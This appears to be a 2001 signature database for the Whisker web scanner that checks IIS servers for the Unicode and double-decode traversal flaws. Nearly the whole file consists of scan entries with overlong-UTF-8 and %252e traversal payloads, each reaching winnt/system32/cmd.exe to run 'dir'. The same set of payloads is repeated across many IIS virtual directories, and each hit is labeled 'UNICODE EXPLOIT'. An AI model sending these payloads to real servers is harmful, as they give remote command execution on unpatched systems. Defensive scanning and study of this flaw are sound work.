# Unicode.db - Unicode/Double-Decode Vulnerability Checks For Whisker.
# By - B-r00t aka B#. 2001.

# USAGE: whisker.pl -h TARGET -i -s unicode.db
# For just a unicode/double-decode scan OR ...
# put 'insert unicode.db' in the IIS section of scan.db
# to include the unicode/double-decode scan in yer cgi scans.
#
# ENJOY ...


usemeth GET
# Scripts....
scan () scripts >> ..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () scripts >> ..%c1%9c../..%c1%9c../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () scripts >> ..%c1%pc../..%c1%pc../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () scripts >> ..%c0%9v../..%c0%9v../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () scripts >> ..%c0%qf../..%c0%qf../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () scripts >> ..%c1%8s../..%c1%8s../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () scripts >> ..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () scripts >> ..%c1%9c../..%c1%9c../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () scripts >> ..%c1%af../..%c1%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () scripts >> ..%e0%80%af../..%e0%80%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () scripts >> ..%f0%80%80%af../..%f0%80%80%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () scripts >> ..%f8%80%80%80%af../..%f8%80%80%80%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () scripts >> ..%fc%80%80%80%80%af../..%fc%80%80%80%80%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () scripts >> .%252e/.%252e/.%252e/.%252e/winnt/system32/cmd.exe?/c+dir
info DOUBLE DECODE EXPLOIT - Able to access cmd.exe !

#cgi-bin....
scan () cgi-bin >> ..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () cgi-bin >> ..%c1%9c../..%c1%9c../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () cgi-bin >> ..%c1%pc../..%c1%pc../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () cgi-bin >> ..%c0%9v../..%c0%9v../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () cgi-bin >> ..%c0%qf../..%c0%qf../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () cgi-bin >> ..%c1%8s../..%c1%8s../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () cgi-bin >> ..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () cgi-bin >> ..%c1%9c../..%c1%9c../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () cgi-bin >> ..%c1%af../..%c1%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () cgi-bin >> ..%e0%80%af../..%e0%80%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () cgi-bin >> ..%f0%80%80%af../..%f0%80%80%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () cgi-bin >> ..%f8%80%80%80%af../..%f8%80%80%80%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () cgi-bin >> ..%fc%80%80%80%80%af../..%fc%80%80%80%80%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () cgi-bin >> .%252e/.%252e/.%252e/.%252e/winnt/system32/cmd.exe?/c+dir
info DOUBLE DECODE EXPLOIT - Able to access cmd.exe !

# msadc....
scan () msadc >> ..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () msadc >> ..%c1%9c../..%c1%9c../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () msadc >> ..%c1%pc../..%c1%pc../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () msadc >> ..%c0%9v../..%c0%9v../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () msadc >> ..%c0%qf../..%c0%qf../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () msadc >> ..%c1%8s../..%c1%8s../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () msadc >> ..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () msadc >> ..%c1%9c../..%c1%9c../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () msadc >> ..%c1%af../..%c1%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () msadc >> ..%e0%80%af../..%e0%80%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () msadc >> ..%f0%80%80%af../..%f0%80%80%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () msadc >> ..%f8%80%80%80%af../..%f8%80%80%80%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () msadc >> ..%fc%80%80%80%80%af../..%fc%80%80%80%80%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () msadc >> .%252e/.%252e/.%252e/.%252e/winnt/system32/cmd.exe?/c+dir
info DOUBLE DECODE EXPLOIT - Able to access cmd.exe !

# samples....
scan () samples >> ..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () samples >> ..%c1%9c../..%c1%9c../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () samples >> ..%c1%pc../..%c1%pc../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () samples >> ..%c0%9v../..%c0%9v../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () samples >> ..%c0%qf../..%c0%qf../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () samples >> ..%c1%8s../..%c1%8s../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () samples >> ..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () samples >> ..%c1%9c../..%c1%9c../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () samples >> ..%c1%af../..%c1%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () samples >> ..%e0%80%af../..%e0%80%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () samples >> ..%f0%80%80%af../..%f0%80%80%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () samples >> ..%f8%80%80%80%af../..%f8%80%80%80%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () samples >> ..%fc%80%80%80%80%af../..%fc%80%80%80%80%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () samples >> .%252e/.%252e/.%252e/.%252e/winnt/system32/cmd.exe?/c+dir
info DOUBLE DECODE EXPLOIT - Able to access cmd.exe !

# adsamples....
scan () adsamples >> ..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () adsamples >> ..%c1%9c../..%c1%9c../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () adsamples >> ..%c1%pc../..%c1%pc../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () adsamples >> ..%c0%9v../..%c0%9v../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () adsamples >> ..%c0%qf../..%c0%qf../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () adsamples >> ..%c1%8s../..%c1%8s../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () adsamples >> ..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () adsamples >> ..%c1%9c../..%c1%9c../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () adsamples >> ..%c1%af../..%c1%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () adsamples >> ..%e0%80%af../..%e0%80%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () adsamples >> ..%f0%80%80%af../..%f0%80%80%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () adsamples >> ..%f8%80%80%80%af../..%f8%80%80%80%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () adsamples >> ..%fc%80%80%80%80%af../..%fc%80%80%80%80%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () adsamples >> .%252e/.%252e/.%252e/.%252e/winnt/system32/cmd.exe?/c+dir
info DOUBLE DECODE EXPLOIT - Able to access cmd.exe !

# _vti_cnf....
scan () _vti_cnf >> ..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () _vti_cnf >> ..%c1%9c../..%c1%9c../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () _vti_cnf >> ..%c1%pc../..%c1%pc../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () _vti_cnf >> ..%c0%9v../..%c0%9v../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () _vti_cnf >> ..%c0%qf../..%c0%qf../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () _vti_cnf >> ..%c1%8s../..%c1%8s../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () _vti_cnf >> ..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () _vti_cnf >> ..%c1%9c../..%c1%9c../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () _vti_cnf >> ..%c1%af../..%c1%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () _vti_cnf >> ..%e0%80%af../..%e0%80%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () _vti_cnf >> ..%f0%80%80%af../..%f0%80%80%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () _vti_cnf >> ..%f8%80%80%80%af../..%f8%80%80%80%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () _vti_cnf >> ..%fc%80%80%80%80%af../..%fc%80%80%80%80%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () _vti_cnf >> .%252e/.%252e/.%252e/.%252e/winnt/system32/cmd.exe?/c+dir
info DOUBLE DECODE EXPLOIT - Able to access cmd.exe !

# _vti_bin....
scan () _vti_bin >> ..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () _vti_bin >> ..%c1%9c../..%c1%9c../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () _vti_bin >> ..%c1%pc../..%c1%pc../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () _vti_bin >> ..%c0%9v../..%c0%9v../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () _vti_bin >> ..%c0%qf../..%c0%qf../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () _vti_bin >> ..%c1%8s../..%c1%8s../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () _vti_bin >> ..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () _vti_bin >> ..%c1%9c../..%c1%9c../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () _vti_bin >> ..%c1%af../..%c1%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () _vti_bin >> ..%e0%80%af../..%e0%80%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () _vti_bin >> ..%f0%80%80%af../..%f0%80%80%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () _vti_bin >> ..%f8%80%80%80%af../..%f8%80%80%80%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () _vti_bin >> ..%fc%80%80%80%80%af../..%fc%80%80%80%80%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () _vti_bin >> .%252e/.%252e/.%252e/.%252e/winnt/system32/cmd.exe?/c+dir
info DOUBLE DECODE EXPLOIT - Able to access cmd.exe !

# _vti_pvt....
scan () _vti_pvt >> ..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () _vti_pvt >> ..%c1%9c../..%c1%9c../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () _vti_pvt >> ..%c1%pc../..%c1%pc../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () _vti_pvt >> ..%c0%9v../..%c0%9v../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () _vti_pvt >> ..%c0%qf../..%c0%qf../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () _vti_pvt >> ..%c1%8s../..%c1%8s../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () _vti_pvt >> ..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () _vti_pvt >> ..%c1%9c../..%c1%9c../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () _vti_pvt >> ..%c1%af../..%c1%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () _vti_pvt >> ..%e0%80%af../..%e0%80%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () _vti_pvt >> ..%f0%80%80%af../..%f0%80%80%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () _vti_pvt >> ..%f8%80%80%80%af../..%f8%80%80%80%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () _vti_pvt >> ..%fc%80%80%80%80%af../..%fc%80%80%80%80%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () _vti_pvt >> .%252e/.%252e/.%252e/.%252e/winnt/system32/cmd.exe?/c+dir
info DOUBLE DECODE EXPLOIT - Able to access cmd.exe !

# _vti_log....
scan () _vti_log >> ..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () _vti_log >> ..%c1%9c../..%c1%9c../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () _vti_log >> ..%c1%pc../..%c1%pc../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () _vti_log >> ..%c0%9v../..%c0%9v../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () _vti_log >> ..%c0%qf../..%c0%qf../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () _vti_log >> ..%c1%8s../..%c1%8s../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () _vti_log >> ..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () _vti_log >> ..%c1%9c../..%c1%9c../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () _vti_log >> ..%c1%af../..%c1%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () _vti_log >> ..%e0%80%af../..%e0%80%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () _vti_log >> ..%f0%80%80%af../..%f0%80%80%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () _vti_log >> ..%f8%80%80%80%af../..%f8%80%80%80%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () _vti_log >> ..%fc%80%80%80%80%af../..%fc%80%80%80%80%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () _vti_log >> .%252e/.%252e/.%252e/.%252e/winnt/system32/cmd.exe?/c+dir
info DOUBLE DECODE EXPLOIT - Able to access cmd.exe !

# _vti_script....
scan () _vti_script >> ..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () _vti_script >> ..%c1%9c../..%c1%9c../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () _vti_script >> ..%c1%pc../..%c1%pc../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () _vti_script >> ..%c0%9v../..%c0%9v../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () _vti_script >> ..%c0%qf../..%c0%qf../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () _vti_script >> ..%c1%8s../..%c1%8s../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () _vti_script >> ..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () _vti_script >> ..%c1%9c../..%c1%9c../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () _vti_script >> ..%c1%af../..%c1%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () _vti_script >> ..%e0%80%af../..%e0%80%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () _vti_script >> ..%f0%80%80%af../..%f0%80%80%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () _vti_script >> ..%f8%80%80%80%af../..%f8%80%80%80%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () _vti_script >> ..%fc%80%80%80%80%af../..%fc%80%80%80%80%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () _vti_script >> .%252e/.%252e/.%252e/.%252e/winnt/system32/cmd.exe?/c+dir
info DOUBLE DECODE EXPLOIT - Able to access cmd.exe !

# _vti_txt....
scan () _vti_txt >> ..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () _vti_txt >> ..%c1%9c../..%c1%9c../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () _vti_txt >> ..%c1%pc../..%c1%pc../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () _vti_txt >> ..%c0%9v../..%c0%9v../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () _vti_txt >> ..%c0%qf../..%c0%qf../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () _vti_txt >> ..%c1%8s../..%c1%8s../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () _vti_txt >> ..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () _vti_txt >> ..%c1%9c../..%c1%9c../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () _vti_txt >> ..%c1%af../..%c1%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () _vti_txt >> ..%e0%80%af../..%e0%80%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () _vti_txt >> ..%f0%80%80%af../..%f0%80%80%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () _vti_txt >> ..%f8%80%80%80%af../..%f8%80%80%80%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () _vti_txt >> ..%fc%80%80%80%80%af../..%fc%80%80%80%80%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () _vti_txt >> .%252e/.%252e/.%252e/.%252e/winnt/system32/cmd.exe?/c+dir
info DOUBLE DECODE EXPLOIT - Able to access cmd.exe !

# iisadmpwd....
scan () iisadmpwd >> ..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () iisadmpwd >> ..%c1%9c../..%c1%9c../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () iisadmpwd >> ..%c1%pc../..%c1%pc../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () iisadmpwd >> ..%c0%9v../..%c0%9v../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () iisadmpwd >> ..%c0%qf../..%c0%qf../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () iisadmpwd >> ..%c1%8s../..%c1%8s../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () iisadmpwd >> ..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () iisadmpwd >> ..%c1%9c../..%c1%9c../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () iisadmpwd >> ..%c1%af../..%c1%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () iisadmpwd >> ..%e0%80%af../..%e0%80%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () iisadmpwd >> ..%f0%80%80%af../..%f0%80%80%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () iisadmpwd >> ..%f8%80%80%80%af../..%f8%80%80%80%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () iisadmpwd >> ..%fc%80%80%80%80%af../..%fc%80%80%80%80%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () iisadmpwd >> .%252e/.%252e/.%252e/.%252e/winnt/system32/cmd.exe?/c+dir
info DOUBLE DECODE EXPLOIT - Able to access cmd.exe !

# iisadmin....
scan () iisadmin >> ..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () iisadmin >> ..%c1%9c../..%c1%9c../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () iisadmin >> ..%c1%pc../..%c1%pc../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () iisadmin >> ..%c0%9v../..%c0%9v../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () iisadmin >> ..%c0%qf../..%c0%qf../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () iisadmin >> ..%c1%8s../..%c1%8s../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () iisadmin >> ..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () iisadmin >> ..%c1%9c../..%c1%9c../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () iisadmin >> ..%c1%af../..%c1%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () iisadmin >> ..%e0%80%af../..%e0%80%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () iisadmin >> ..%f0%80%80%af../..%f0%80%80%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () iisadmin >> ..%f8%80%80%80%af../..%f8%80%80%80%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () iisadmin >> ..%fc%80%80%80%80%af../..%fc%80%80%80%80%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () iisadmin >> .%252e/.%252e/.%252e/.%252e/winnt/system32/cmd.exe?/c+dir
info DOUBLE DECODE EXPLOIT - Able to access cmd.exe !

# iissamples....
scan () iissamples >> ..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () iissamples >> ..%c1%9c../..%c1%9c../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () iissamples >> ..%c1%pc../..%c1%pc../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () iissamples >> ..%c0%9v../..%c0%9v../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () iissamples >> ..%c0%qf../..%c0%qf../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () iissamples >> ..%c1%8s../..%c1%8s../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () iissamples >> ..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () iissamples >> ..%c1%9c../..%c1%9c../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () iissamples >> ..%c1%af../..%c1%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () iissamples >> ..%e0%80%af../..%e0%80%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () iissamples >> ..%f0%80%80%af../..%f0%80%80%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () iissamples >> ..%f8%80%80%80%af../..%f8%80%80%80%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () iissamples >> ..%fc%80%80%80%80%af../..%fc%80%80%80%80%af../winnt/system32/cmd.exe?/c+dir
